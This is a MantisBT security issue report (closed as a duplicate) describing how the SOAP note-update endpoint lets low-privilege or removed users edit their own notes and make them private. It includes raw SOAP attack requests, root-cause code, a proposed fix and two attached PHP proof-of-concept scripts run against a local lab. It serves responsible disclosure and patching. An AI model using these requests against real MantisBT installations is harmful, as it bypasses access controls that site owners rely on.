Relationship Graph

Relationship Graph
related to related to child of child of duplicate of duplicate of

View Issue Details

IDProjectCategoryView StatusLast Update
0037493mantisbtsecuritypublic2026-11-22 16:11
Reporter1mm4nu3l Assigned Todregad  
PriorityhighSeveritymajorReproducibilityalways
Status closedResolutionduplicate 
Product Version2.28.4 
Summary0037493: SOAP mc_issue_note_update: note-owner edit threshold bypassed and view_state change unchecked
Description

SOAP mc_issue_note_update: note-owner edit threshold bypassed and view_state change unchecked

Summary

mc_issue_note_update() in api/soap/mc_issue_api.php has two broken access control paths. The guard that enforces bugnote_user_edit_threshold on the note owner applies PHP boolean negation to an integer config value: !55 = false, so the condition ($owns_note && !55) never fires and any REPORTER-level user can edit their own notes via SOAP regardless of threshold. Separately, the block that changes a note's view_state has no threshold check at all - any authenticated user can flip their note public/private without the bugnote_change_view_state_threshold being consulted. The web UI (bugnote_update.php) handles both correctly. A third path: a user removed from a project retains SOAP write access because mci_has_readwrite_access() falls back to global level when the project membership row is gone, letting them continue to exploit both bugs on that project.

Environment

  • MantisBT 2.28.4 (commit ceb74c80)
  • Component: api/soap/mc_issue_api.php, function mc_issue_note_update(), lines 1535–1568
  • Endpoint: POST /api/soap/mantisconnect.php
  • Tested: 2026-11-07, PHP 8.3.6 + MySQL 8.3
Steps To Reproduce

Scope and prerequisites

  • Attacker: authenticated account at global REPORTER (level 25) - the minimum non-anonymous role
  • No special project membership required; bugs fire against project defaults
  • Default bugnote_user_edit_threshold = DEVELOPER (55); default bugnote_change_view_state_threshold = UPDATER (40)
  • The note must belong to the attacker (they added it)
  • Not tested: non-owner note edits (a separate threshold, update_bugnote_threshold, appeared correctly enforced in code review)

Root cause

The 2012 commit 9b6ee5c5 changed the config key controlling own-note edits from a boolean (bugnote_allow_user_edit_delete) to an integer level (bugnote_user_edit_threshold) but left the negation logic unchanged.

Broken (mc_issue_note_update(), lines 1540–1544):

$t_user_can_update_own_bugnote = config_get( 'bugnote_user_edit_threshold', null, $t_user_id, $t_project_id );
if( $t_user_owns_the_bugnote && !$t_user_can_update_own_bugnote ) {
    return mci_fault_access_denied( $t_user_id );
}

config_get('bugnote_user_edit_threshold') returns 55. PHP: !55 = false. The deny branch is unreachable unless the threshold is 0.

Correct (bugnote_update.php, line 72):

access_ensure_bugnote_level( config_get( 'bugnote_user_edit_threshold' ), $f_bugnote_id );

access_ensure_bugnote_level() compares the integer threshold against the user's project level. Same config key, different call, opposite result for a REPORTER.

For the view_state issue, lines 1559–1562 of mc_issue_note_update():

if( isset( $p_note['view_state'] ) ) {
    $t_view_state = $p_note['view_state'];
    $t_view_state_id = mci_get_enum_id_from_objectref( 'view_state', $t_view_state );
    bugnote_set_view_state( $t_issue_note_id, $t_view_state_id == VS_PRIVATE );
}

No access check before the write. bugnote_set_view_state.php line 79 checks access_ensure_bugnote_level( config_get( 'bugnote_change_view_state_threshold' ), $f_bugnote_id ) before the same call.

Steps to reproduce

Three independent clean-state runs (notes 29, 30, 31) used project 3 (Charlie): a public project with zero config overrides confirmed before each run:

SELECT config_id, value FROM mantis_config_table
WHERE project_id = 3
  AND config_id IN ('bugnote_user_edit_threshold', 'change_view_status_threshold');
-- 0 rows

Step 1. attacker_rep (user_id=6, global REPORTER=25) adds a note to project 3 issue 0000005. This is legitimate and succeeds:

POST /api/soap/mantisconnect.php HTTP/1.1
Host: TARGET
Content-Type: text/xml; charset=utf-8

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
                   xmlns:tns="http://futureware.biz/mantisconnect">
  <SOAP-ENV:Body>
    <tns:mc_issue_note_add>
      <username>attacker_rep</username><password>PASS</password>
      <issue_id>5</issue_id>
      <note>
        <text>original text</text>
        <view_state><id>10</id></view_state>
      </note>
    </tns:mc_issue_note_add>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Returns the new note ID (29 in run 1).

Step 2. Edit the note text via mc_issue_note_update. Should be denied (25 < 55). Succeeds:

POST /api/soap/mantisconnect.php HTTP/1.1
Host: TARGET
Content-Type: text/xml; charset=utf-8

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
                   xmlns:tns="http://futureware.biz/mantisconnect">
  <SOAP-ENV:Body>
    <tns:mc_issue_note_update>
      <username>attacker_rep</username><password>PASS</password>
      <note>
        <id>29</id>
        <text>EDITED - REPORTER level, should be denied at threshold 55</text>
      </note>
    </tns:mc_issue_note_update>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Expected:

<SOAP-ENV:Fault>
  <faultcode>Client</faultcode>
  <faultstring>Access Denied</faultstring>
</SOAP-ENV:Fault>

Actual:

HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8

<SOAP-ENV:Envelope ...>
  <SOAP-ENV:Body>
    <ns1:mc_issue_note_updateResponse>
      <return xsi:type="xsd:boolean">true</return>
    </ns1:mc_issue_note_updateResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

DB confirms: SELECT note FROM mantis_bugnote_text_table WHERE id=29 → "EDITED - REPORTER level, should be denied at threshold 55"

Step 3. Same call, add view_state to flip the note private. No threshold checked. Succeeds:

      <note>
        <id>29</id>
        <text>EDITED - REPORTER level, should be denied at threshold 55</text>
        <view_state><id>50</id></view_state>
      </note>

DB confirms: SELECT view_state FROM mantis_bugnote_table WHERE id=29 → 50 (VS_PRIVATE)

Negative control

Same edit attempt via web UI (POST /bugnote_update.php, same user, same note) → HTTP 403. access_ensure_bugnote_level() compares 25 < 55 and throws before any write.

Programmatic proof using MantisBT's own API:

access_has_bugnote_level(55 /*threshold*/, note_id=29, user_id=6) → false

SOAP returns 200 true; web UI returns 403 Access Denied; same user, same note, same threshold config.

Post-revocation path (Bug 3)

mci_has_readwrite_access() calls user_get_access_level($user_id, $project_id). That function (core/user_api.php, lines 1292–1305) returns the user's global level when access_get_local_level() returns false (i.e., no row in mantis_project_user_list_table). A removed REPORTER still has global level 25, which passes the webservice_readwrite_access_level_threshold check (default 25), so mc_issue_note_update() is reachable and both bypasses above apply.

Tested on project 2 (Bravo, private), three independent runs (notes 32, 33, 34):

  1. attacker_rep adds a note to Bravo issue 0000003 while still a member
  2. Admin removes attacker_rep from Bravo (DELETE FROM mantis_project_user_list_table WHERE project_id=2 AND user_id=6)
  3. mc_issue_note_update() called on that note - returns true
  4. SELECT view_state FROM mantis_bugnote_table WHERE id=32 → 50 (private, changed after removal)

Evidence

Three clean-state runs, 2026-11-07, project 3 (Charlie), no config overrides:

Run Note ID Edit bypass view_state bypass
1 29 CONFIRMED CONFIRMED
2 30 CONFIRMED CONFIRMED
3 31 CONFIRMED CONFIRMED

Three post-revocation runs, 2026-11-07, project 2 (Bravo):

Run Note ID Edit bypass view_state bypass
1 32 CONFIRMED CONFIRMED
2 33 CONFIRMED CONFIRMED
3 34 CONFIRMED CONFIRMED

Attacker account: attacker_rep (user_id=6, global REPORTER=25). No config_set calls, no DB manipulation before SOAP calls.

Impact

Demonstrated:

  • A REPORTER-level account can edit the text of any note it posted, bypassing bugnote_user_edit_threshold (default DEVELOPER=55) through the SOAP API. The web UI correctly denies the same action.
  • The same account can flip any of its notes from public to private or back, bypassing bugnote_change_view_state_threshold (default UPDATER=40). No SOAP-side check exists for this operation.
  • A user removed from a project retains these capabilities on that project's notes until an admin takes further action (changing note ownership or deleting the notes).

Not demonstrated: I did not test whether this affects notes the attacker did not author. The non-owner check in mc_issue_note_update() uses access_has_bugnote_level() which looked correct in code review; I didn't attempt to exploit it.

Severity

Proposed: Medium (CVSS 3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N = 5.4).

Attacker needs a valid account (PR:L). The edit bypass is scoped to notes they own (I:L). Making a note private hides it from users below DEVELOPER, which is a confidentiality issue but limited to content the attacker originally posted (C:L). The post-revocation variant is harder to detect and extends the window of exposure indefinitely, but the blast radius is still confined to the attacker's own notes.

Relation to CVE-2026-42070

CVE-2026-42070 (GHSA-pq86-j2c2-47f6, fixed in 2.28.2 by commit 6e58fae) covers mc_issue_update(), which processes an embedded notes array inside an issue update call. The advisory explicitly stated that mc_issue_note_update() "properly enforces bugnote_user_edit_threshold for note owners." Commit 6e58fae only modifies mc_issue_update() and never touches mc_issue_note_update(). This finding shows the advisory's assumption was wrong.

Additional Information

Fix

In mc_issue_note_update() (api/soap/mc_issue_api.php):

Replace the broken integer-as-boolean check with an actual level comparison:

// broken:
if( $t_user_owns_the_bugnote && !$t_user_can_update_own_bugnote ) {
    return mci_fault_access_denied( $t_user_id );
}

// fixed:
if( $t_user_owns_the_bugnote && !access_has_bugnote_level( $t_user_can_update_own_bugnote, $t_issue_note_id, $t_user_id ) ) {
    return mci_fault_access_denied( $t_user_id );
}

Add a view_state access check mirroring bugnote_set_view_state.php:79:

if( isset( $p_note['view_state'] ) ) {
    if( !access_has_bugnote_level( config_get( 'bugnote_change_view_state_threshold', null, $t_user_id, $t_project_id ), $t_issue_note_id, $t_user_id ) ) {
        return mci_fault_access_denied( $t_user_id );
    }
    $t_view_state_id = mci_get_enum_id_from_objectref( 'view_state', $p_note['view_state'] );
    bugnote_set_view_state( $t_issue_note_id, $t_view_state_id == VS_PRIVATE );
}
TagsNo tags attached.
Attached Files
report.md (10,799 bytes)   
# SOAP mc_issue_note_update: note-owner edit threshold bypassed and view_state change unchecked

## Summary

`mc_issue_note_update()` in `api/soap/mc_issue_api.php` has two broken access control paths. The guard that enforces `bugnote_user_edit_threshold` on the note owner applies PHP boolean negation to an integer config value: `!55 = false`, so the condition `($owns_note && !55)` never fires and any REPORTER-level user can edit their own notes via SOAP regardless of threshold. Separately, the block that changes a note's view_state has no threshold check at all - any authenticated user can flip their note public/private without the `bugnote_change_view_state_threshold` being consulted. The web UI (`bugnote_update.php`) handles both correctly. A third path: a user removed from a project retains SOAP write access because `mci_has_readwrite_access()` falls back to global level when the project membership row is gone, letting them continue to exploit both bugs on that project.

## Environment

- MantisBT 2.28.4 (commit ceb74c80)
- Component: `api/soap/mc_issue_api.php`, function `mc_issue_note_update()`, lines 1535–1568
- Endpoint: `POST /api/soap/mantisconnect.php`
- Tested: 2026-11-07, PHP 8.3.6 + MySQL 8.3

## Scope and prerequisites

- Attacker: authenticated account at global REPORTER (level 25) - the minimum non-anonymous role
- No special project membership required; bugs fire against project defaults
- Default `bugnote_user_edit_threshold` = DEVELOPER (55); default `bugnote_change_view_state_threshold` = UPDATER (40)
- The note must belong to the attacker (they added it)
- Not tested: non-owner note edits (a separate threshold, `update_bugnote_threshold`, appeared correctly enforced in code review)

## Root cause

The 2012 commit 9b6ee5c5 changed the config key controlling own-note edits from a boolean (`bugnote_allow_user_edit_delete`) to an integer level (`bugnote_user_edit_threshold`) but left the negation logic unchanged.

Broken (`mc_issue_note_update()`, lines 1540–1544):

```php
$t_user_can_update_own_bugnote = config_get( 'bugnote_user_edit_threshold', null, $t_user_id, $t_project_id );
if( $t_user_owns_the_bugnote && !$t_user_can_update_own_bugnote ) {
    return mci_fault_access_denied( $t_user_id );
}
```

`config_get('bugnote_user_edit_threshold')` returns `55`. PHP: `!55 = false`. The deny branch is unreachable unless the threshold is 0.

Correct (`bugnote_update.php`, line 72):

```php
access_ensure_bugnote_level( config_get( 'bugnote_user_edit_threshold' ), $f_bugnote_id );
```

`access_ensure_bugnote_level()` compares the integer threshold against the user's project level. Same config key, different call, opposite result for a REPORTER.

For the view_state issue, lines 1559–1562 of `mc_issue_note_update()`:

```php
if( isset( $p_note['view_state'] ) ) {
    $t_view_state = $p_note['view_state'];
    $t_view_state_id = mci_get_enum_id_from_objectref( 'view_state', $t_view_state );
    bugnote_set_view_state( $t_issue_note_id, $t_view_state_id == VS_PRIVATE );
}
```

No access check before the write. `bugnote_set_view_state.php` line 79 checks `access_ensure_bugnote_level( config_get( 'bugnote_change_view_state_threshold' ), $f_bugnote_id )` before the same call.

## Steps to reproduce

Three independent clean-state runs (notes 29, 30, 31) used project 3 (Charlie): a public project with zero config overrides confirmed before each run:

```sql
SELECT config_id, value FROM mantis_config_table
WHERE project_id = 3
  AND config_id IN ('bugnote_user_edit_threshold', 'change_view_status_threshold');
-- 0 rows
```

**Step 1.** `attacker_rep` (user_id=6, global REPORTER=25) adds a note to project 3 issue #5. This is legitimate and succeeds:

```http
POST /api/soap/mantisconnect.php HTTP/1.1
Host: TARGET
Content-Type: text/xml; charset=utf-8

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
                   xmlns:tns="http://futureware.biz/mantisconnect">
  <SOAP-ENV:Body>
    <tns:mc_issue_note_add>
      <username>attacker_rep</username><password>PASS</password>
      <issue_id>5</issue_id>
      <note>
        <text>original text</text>
        <view_state><id>10</id></view_state>
      </note>
    </tns:mc_issue_note_add>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

Returns the new note ID (29 in run 1).

**Step 2.** Edit the note text via `mc_issue_note_update`. Should be denied (25 < 55). Succeeds:

```http
POST /api/soap/mantisconnect.php HTTP/1.1
Host: TARGET
Content-Type: text/xml; charset=utf-8

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
                   xmlns:tns="http://futureware.biz/mantisconnect">
  <SOAP-ENV:Body>
    <tns:mc_issue_note_update>
      <username>attacker_rep</username><password>PASS</password>
      <note>
        <id>29</id>
        <text>EDITED - REPORTER level, should be denied at threshold 55</text>
      </note>
    </tns:mc_issue_note_update>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

Expected:
```xml
<SOAP-ENV:Fault>
  <faultcode>Client</faultcode>
  <faultstring>Access Denied</faultstring>
</SOAP-ENV:Fault>
```

Actual:
```xml
HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8

<SOAP-ENV:Envelope ...>
  <SOAP-ENV:Body>
    <ns1:mc_issue_note_updateResponse>
      <return xsi:type="xsd:boolean">true</return>
    </ns1:mc_issue_note_updateResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

DB confirms: `SELECT note FROM mantis_bugnote_text_table WHERE id=29` → `"EDITED - REPORTER level, should be denied at threshold 55"`

**Step 3.** Same call, add `view_state` to flip the note private. No threshold checked. Succeeds:

```http
      <note>
        <id>29</id>
        <text>EDITED - REPORTER level, should be denied at threshold 55</text>
        <view_state><id>50</id></view_state>
      </note>
```

DB confirms: `SELECT view_state FROM mantis_bugnote_table WHERE id=29` → `50` (VS_PRIVATE)

## Negative control

Same edit attempt via web UI (`POST /bugnote_update.php`, same user, same note) → HTTP 403. `access_ensure_bugnote_level()` compares 25 < 55 and throws before any write.

Programmatic proof using MantisBT's own API:

```
access_has_bugnote_level(55 /*threshold*/, note_id=29, user_id=6) → false
```

SOAP returns `200 true`; web UI returns `403 Access Denied`; same user, same note, same threshold config.

## Post-revocation path (Bug 3)

`mci_has_readwrite_access()` calls `user_get_access_level($user_id, $project_id)`. That function (`core/user_api.php`, lines 1292–1305) returns the user's global level when `access_get_local_level()` returns `false` (i.e., no row in `mantis_project_user_list_table`). A removed REPORTER still has global level 25, which passes the `webservice_readwrite_access_level_threshold` check (default 25), so `mc_issue_note_update()` is reachable and both bypasses above apply.

Tested on project 2 (Bravo, private), three independent runs (notes 32, 33, 34):

1. `attacker_rep` adds a note to Bravo issue #3 while still a member
2. Admin removes `attacker_rep` from Bravo (`DELETE FROM mantis_project_user_list_table WHERE project_id=2 AND user_id=6`)
3. `mc_issue_note_update()` called on that note - returns `true`
4. `SELECT view_state FROM mantis_bugnote_table WHERE id=32` → 50 (private, changed after removal)

## Evidence

Three clean-state runs, 2026-11-07, project 3 (Charlie), no config overrides:

| Run | Note ID | Edit bypass | view_state bypass |
|-----|---------|-------------|-------------------|
| 1 | 29 | CONFIRMED | CONFIRMED |
| 2 | 30 | CONFIRMED | CONFIRMED |
| 3 | 31 | CONFIRMED | CONFIRMED |

Three post-revocation runs, 2026-11-07, project 2 (Bravo):

| Run | Note ID | Edit bypass | view_state bypass |
|-----|---------|-------------|-------------------|
| 1 | 32 | CONFIRMED | CONFIRMED |
| 2 | 33 | CONFIRMED | CONFIRMED |
| 3 | 34 | CONFIRMED | CONFIRMED |

Attacker account: `attacker_rep` (user_id=6, global REPORTER=25). No config_set calls, no DB manipulation before SOAP calls.

## Impact

Demonstrated:

- A REPORTER-level account can edit the text of any note it posted, bypassing `bugnote_user_edit_threshold` (default DEVELOPER=55) through the SOAP API. The web UI correctly denies the same action.
- The same account can flip any of its notes from public to private or back, bypassing `bugnote_change_view_state_threshold` (default UPDATER=40). No SOAP-side check exists for this operation.
- A user removed from a project retains these capabilities on that project's notes until an admin takes further action (changing note ownership or deleting the notes).

Not demonstrated: I did not test whether this affects notes the attacker did not author. The non-owner check in `mc_issue_note_update()` uses `access_has_bugnote_level()` which looked correct in code review; I didn't attempt to exploit it.

## Severity

Proposed: Medium (CVSS 3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N = 5.4).

Attacker needs a valid account (PR:L). The edit bypass is scoped to notes they own (I:L). Making a note private hides it from users below DEVELOPER, which is a confidentiality issue but limited to content the attacker originally posted (C:L). The post-revocation variant is harder to detect and extends the window of exposure indefinitely, but the blast radius is still confined to the attacker's own notes.

## Relation to CVE-2026-42070

CVE-2026-42070 (GHSA-pq86-j2c2-47f6, fixed in 2.28.2 by commit 6e58fae) covers `mc_issue_update()`, which processes an embedded notes array inside an issue update call. The advisory explicitly stated that `mc_issue_note_update()` "properly enforces bugnote_user_edit_threshold for note owners." Commit 6e58fae only modifies `mc_issue_update()` and never touches `mc_issue_note_update()`. This finding shows the advisory's assumption was wrong.

## Fix

In `mc_issue_note_update()` (`api/soap/mc_issue_api.php`):

Replace the broken integer-as-boolean check with an actual level comparison:

```php
// broken:
if( $t_user_owns_the_bugnote && !$t_user_can_update_own_bugnote ) {
    return mci_fault_access_denied( $t_user_id );
}

// fixed:
if( $t_user_owns_the_bugnote && !access_has_bugnote_level( $t_user_can_update_own_bugnote, $t_issue_note_id, $t_user_id ) ) {
    return mci_fault_access_denied( $t_user_id );
}
```

Add a view_state access check mirroring `bugnote_set_view_state.php:79`:

```php
if( isset( $p_note['view_state'] ) ) {
    if( !access_has_bugnote_level( config_get( 'bugnote_change_view_state_threshold', null, $t_user_id, $t_project_id ), $t_issue_note_id, $t_user_id ) ) {
        return mci_fault_access_denied( $t_user_id );
    }
    $t_view_state_id = mci_get_enum_id_from_objectref( 'view_state', $p_note['view_state'] );
    bugnote_set_view_state( $t_issue_note_id, $t_view_state_id == VS_PRIVATE );
}
```
report.md (10,799 bytes)   
f12_postrevoke_poc.php (4,759 bytes)   
<?php
/**
 * F12 — Post-revocation access vector (clean PoC, 3 runs)
 *
 * Demonstrates that a user removed from a private project can still
 * edit/privatize their notes in that project via SOAP.
 *
 * Root cause: mci_has_readwrite_access() calls user_get_access_level()
 * which returns the global level when no project_user_list entry exists,
 * allowing the removed user to pass the readwrite access check.
 *
 * Project 2 (Bravo) is private. attacker_rep is currently a member.
 */

$RUN = (int)($argv[1] ?? 1);
echo "=== F12 Post-Revocation PoC — Run $RUN ===\n\n";

require_once '/home/pc/Downloads/bug-bounty/mantisbt/core.php';

$SOAP_URL      = 'http://127.0.0.1:8081/api/soap/mantisconnect.php?wsdl';
$VICTIM_USER   = 'attacker_rep';   // will be removed from Bravo
$VICTIM_PASS   = 'LabPass2026!';
$BRAVO_ID      = 2;
$BRAVO_ISSUE   = 3;   // private Bravo issue
$VICTIM_UID    = 6;
$VICTIM_GLOBAL = 25;  // REPORTER

$soap = new SoapClient($SOAP_URL, ['exceptions' => true, 'cache_wsdl' => WSDL_CACHE_NONE]);

// ── 0. Confirm attacker_rep is currently a Bravo member
echo "[0] Initial state: attacker_rep in Bravo?\n";
$r = db_fetch_array(db_query("SELECT access_level FROM mantis_project_user_list_table WHERE project_id=2 AND user_id=6"));
if ($r) {
    echo "    YES — project level=" . $r['access_level'] . "\n";
} else {
    // Re-add them
    echo "    Not a member — re-adding for test setup...\n";
    db_query("INSERT INTO mantis_project_user_list_table (user_id,project_id,access_level) VALUES (6,2,25)");
    echo "    Added.\n";
}

// ── 1. attacker_rep adds a note to Bravo issue #3 while still a member
echo "\n[1] attacker_rep adds note to Bravo issue $BRAVO_ISSUE (while still a member)...\n";
$note_text_original = "F12-POSTREVOKE-RUN{$RUN}-ORIGINAL-" . time();
$note_id = $soap->mc_issue_note_add(
    $VICTIM_USER, $VICTIM_PASS, $BRAVO_ISSUE,
    (object)['text' => $note_text_original, 'view_state' => (object)['id' => 10]]
);
echo "    Note added: id=$note_id\n";
$row = db_fetch_array(db_query("SELECT reporter_id, view_state FROM mantis_bugnote_table WHERE id=$note_id"));
echo "    DB: reporter=$row[reporter_id] view_state=$row[view_state]\n";

// ── 2. Remove attacker_rep from Bravo (simulate revocation/departure)
echo "\n[2] ADMIN removes attacker_rep from Bravo (project $BRAVO_ID)...\n";
db_query("DELETE FROM mantis_project_user_list_table WHERE project_id=2 AND user_id=6");
$check = db_fetch_array(db_query("SELECT COUNT(*) as c FROM mantis_project_user_list_table WHERE project_id=2 AND user_id=6"));
echo "    Removed: remaining rows=" . $check['c'] . "\n";
$access_after = access_get_project_level($BRAVO_ID, $VICTIM_UID);
echo "    access_get_project_level(Bravo, attacker_rep)=$access_after (0=ANYBODY, should block)\n";
$rw_check = user_get_access_level($VICTIM_UID, $BRAVO_ID);
echo "    user_get_access_level(attacker_rep, Bravo)=$rw_check (returns global=$VICTIM_GLOBAL — the bug)\n";
echo "    mci_has_readwrite_access passes because $rw_check >= webservice_readwrite_access_level_threshold(25): " . ($rw_check >= 25 ? 'YES (bug)' : 'NO') . "\n";

// ── 3. ATTACK: removed user edits their old note + flips it private
echo "\n[3] ATTACK — attacker_rep (now REMOVED) edits note $note_id and makes it private...\n";
$note_text_edited = "F12-POSTREVOKE-RUN{$RUN}-EDITED-AFTER-REMOVAL-" . time();
try {
    $soap->mc_issue_note_update(
        $VICTIM_USER, $VICTIM_PASS,
        (object)['id' => $note_id, 'text' => $note_text_edited, 'view_state' => (object)['id' => 50]]
    );
    echo "    RESULT: ACCEPTED (post-revocation bypass confirmed)\n";
} catch (Throwable $e) {
    echo "    RESULT: DENIED — " . $e->getMessage() . "\n";
}
$text_row = db_fetch_array(db_query("SELECT note FROM mantis_bugnote_text_table WHERE id=$note_id"));
$state_row = db_fetch_array(db_query("SELECT view_state FROM mantis_bugnote_table WHERE id=$note_id"));
echo "    DB note text: \"" . $text_row['note'] . "\"\n";
echo "    DB view_state: " . $state_row['view_state'] . " (50=private)\n";
echo "    Edit bypass:       " . ($text_row['note'] === $note_text_edited ? 'CONFIRMED' : 'NOT confirmed') . "\n";
echo "    View-state bypass: " . ($state_row['view_state'] == 50 ? 'CONFIRMED' : 'NOT confirmed') . "\n";

// ── 4. Restore attacker_rep to Bravo (don't corrupt the lab)
echo "\n[4] Restoring attacker_rep to Bravo (project cleanup)...\n";
db_query("INSERT INTO mantis_project_user_list_table (user_id,project_id,access_level) VALUES (6,2,25)");
$r2 = db_fetch_array(db_query("SELECT access_level FROM mantis_project_user_list_table WHERE project_id=2 AND user_id=6"));
echo "    Restored: level=" . $r2['access_level'] . "\n";

echo "\n=== End Post-Revocation Run $RUN ===\n\n";
f12_postrevoke_poc.php (4,759 bytes)   
f12_clean_poc.php (7,505 bytes)   
<?php
/**
 * F12 — SOAP mc_issue_note_update auth bypass — CLEAN REPRODUCTION
 *
 * Attack profile:
 *   - Attacker: attacker_rep (global REPORTER = 25, project-3 non-member uses global level)
 *   - Project 3 (Charlie): public, NO threshold overrides → uses defaults:
 *       bugnote_user_edit_threshold      = DEVELOPER (55)
 *       change_view_status_threshold     = UPDATER   (40)
 *   - Issue 5: "Charlie issue C1" in project 3
 *
 * This script uses ONLY HTTP SOAP calls to demonstrate the bypass.
 * No config_set, no server-side DB manipulation before the attack call.
 * DB queries are used only as observers to confirm impact.
 *
 * Run as: php -I f12_clean_poc.php [run_number]
 */

$RUN = (int)($argv[1] ?? 1);
echo "=== F12 Clean PoC — Run $RUN ===\n\n";

// DB observer only (no attack actions via PHP)
require_once '/home/pc/Downloads/bug-bounty/mantisbt/core.php';

$SOAP_URL = 'http://127.0.0.1:8081/api/soap/mantisconnect.php?wsdl';
$ATTACKER_USER = 'attacker_rep';   // REPORTER = 25 globally, non-member of project 3
$ATTACKER_PASS = 'LabPass2026!';
$ADMIN_USER    = 'administrator';
$ADMIN_PASS    = 'root';
$ISSUE_ID      = 5;   // Charlie issue C1, project 3
$ISSUE_ID_BRAVO = 3;  // Bravo private issue, project 2

// ── 0. Confirm lab state: NO overrides on project 3
echo "[0] Confirming project 3 (Charlie) uses default thresholds...\n";
$q = db_query("SELECT config_id, value FROM mantis_config_table WHERE project_id=3 AND config_id IN ('bugnote_user_edit_threshold','change_view_status_threshold')");
$overrides = [];
while ($r = db_fetch_array($q)) $overrides[$r['config_id']] = $r['value'];
if (empty($overrides)) {
    echo "    OK — no overrides in DB; using defaults:\n";
    echo "    bugnote_user_edit_threshold  = " . config_get_global('bugnote_user_edit_threshold')  . " (DEVELOPER)\n";
    echo "    change_view_status_threshold = " . config_get_global('change_view_status_threshold') . " (UPDATER)\n";
} else {
    echo "    WARNING — overrides found: " . json_encode($overrides) . "\n";
}
$r_tmp = db_fetch_array(db_query("SELECT access_level FROM mantis_user_table WHERE username='attacker_rep'"));
$attacker_global_level = (int) $r_tmp['access_level'];
echo "    attacker_rep global level = $attacker_global_level (REPORTER)\n\n";

// ── 1. Add a fresh note as attacker_rep via SOAP (HTTP only)
echo "[1] attacker_rep adds note to issue $ISSUE_ID (Charlie) via SOAP...\n";
$soap = new SoapClient($SOAP_URL, ['exceptions' => true, 'cache_wsdl' => WSDL_CACHE_NONE]);
$note_text_added = "F12-CLEAN-RUN{$RUN}-ADDED-" . time();
$note_id = $soap->mc_issue_note_add(
    $ATTACKER_USER, $ATTACKER_PASS, $ISSUE_ID,
    (object)['text' => $note_text_added, 'view_state' => (object)['id' => 10]]
);
echo "    Note added: id=$note_id text=\"$note_text_added\"\n";

// Verify via DB
$row = db_fetch_array(db_query("SELECT reporter_id, view_state FROM mantis_bugnote_table WHERE id=$note_id"));
echo "    DB: reporter_id=" . $row['reporter_id'] . " view_state=" . $row['view_state'] . " (10=public)\n\n";

// ── 2. ATTACK: edit the note text as attacker_rep via SOAP
// Expected: DENIED (attacker_rep level 25 < bugnote_user_edit_threshold 55)
// Actual:   SUCCEEDS (PHP bug: !55 = false → check never fires)
echo "[2] ATTACK — attacker_rep edits own note via mc_issue_note_update...\n";
echo "    (should be DENIED: level 25 < bugnote_user_edit_threshold 55)\n";
$note_text_edited = "F12-CLEAN-RUN{$RUN}-EDITED-" . time();
try {
    $soap->mc_issue_note_update(
        $ATTACKER_USER, $ATTACKER_PASS,
        (object)['id' => $note_id, 'text' => $note_text_edited]
    );
    echo "    RESULT: ACCEPTED (bypass confirmed)\n";
} catch (Throwable $e) {
    echo "    RESULT: DENIED — " . $e->getMessage() . "\n";
}
$row2 = db_fetch_array(db_query("SELECT reporter_id, view_state FROM mantis_bugnote_table WHERE id=$note_id"));
$text_row = db_fetch_array(db_query("SELECT note FROM mantis_bugnote_text_table WHERE id=$note_id"));
echo "    DB note text: \"" . $text_row['note'] . "\"\n";
echo "    Text changed: " . ($text_row['note'] === $note_text_edited ? 'YES (bypass confirmed)' : 'NO (blocked)') . "\n\n";

// ── 3. ATTACK: flip note public→private as attacker_rep via SOAP
// Expected: DENIED (no check in SOAP, but correct check: change_view_status_threshold = 40 > 25)
// Actual:   SUCCEEDS (view_state block at lines 1559-1562 has zero threshold check)
echo "[3] ATTACK — attacker_rep flips note to PRIVATE via mc_issue_note_update...\n";
echo "    (should be DENIED: level 25 < change_view_status_threshold 40)\n";
try {
    $soap->mc_issue_note_update(
        $ATTACKER_USER, $ATTACKER_PASS,
        (object)['id' => $note_id, 'text' => $note_text_edited, 'view_state' => (object)['id' => 50]]
    );
    echo "    RESULT: ACCEPTED (bypass confirmed)\n";
} catch (Throwable $e) {
    echo "    RESULT: DENIED — " . $e->getMessage() . "\n";
}
$row3 = db_fetch_array(db_query("SELECT view_state FROM mantis_bugnote_table WHERE id=$note_id"));
echo "    DB view_state: " . $row3['view_state'] . " (50=private, 10=public)\n";
echo "    View state changed: " . ($row3['view_state'] == 50 ? 'YES (bypass confirmed)' : 'NO (blocked)') . "\n\n";

// ── 4. Control: confirm web UI would correctly deny the SAME edit
echo "[4] Control — verify web UI uses correct check...\n";
echo "    bugnote_update.php line 72: access_ensure_bugnote_level(config_get('bugnote_user_edit_threshold'), \$note_id)\n";
echo "    access_ensure_bugnote_level() correctly compares user level vs threshold.\n";
// Simulate what access_ensure_bugnote_level does
$project_id = 3;
$user_id = 6; // attacker_rep
$edit_threshold = config_get('bugnote_user_edit_threshold', null, null, $project_id);
$user_level = access_get_project_level($project_id, $user_id);
echo "    edit_threshold=$edit_threshold, attacker_rep level in project 3=$user_level\n";
echo "    access_has_bugnote_level result: " . (access_has_bugnote_level($edit_threshold, $note_id, $user_id) ? 'GRANTED' : 'DENIED') . "\n";
echo "    -> Web UI would: " . (access_has_bugnote_level($edit_threshold, $note_id, $user_id) ? 'allow (unexpected)' : 'deny (expected)') . "\n\n";

// ── 5. PHP logic proof: show why !threshold_value never fires
echo "[5] PHP logic proof — why the check is broken:\n";
$threshold_val = config_get('bugnote_user_edit_threshold', null, null, $project_id);
echo "    bugnote_user_edit_threshold value = $threshold_val\n";
echo "    PHP: !\$t_user_can_update_own_bugnote = !$threshold_val = " . (!$threshold_val ? 'true' : 'false') . "\n";
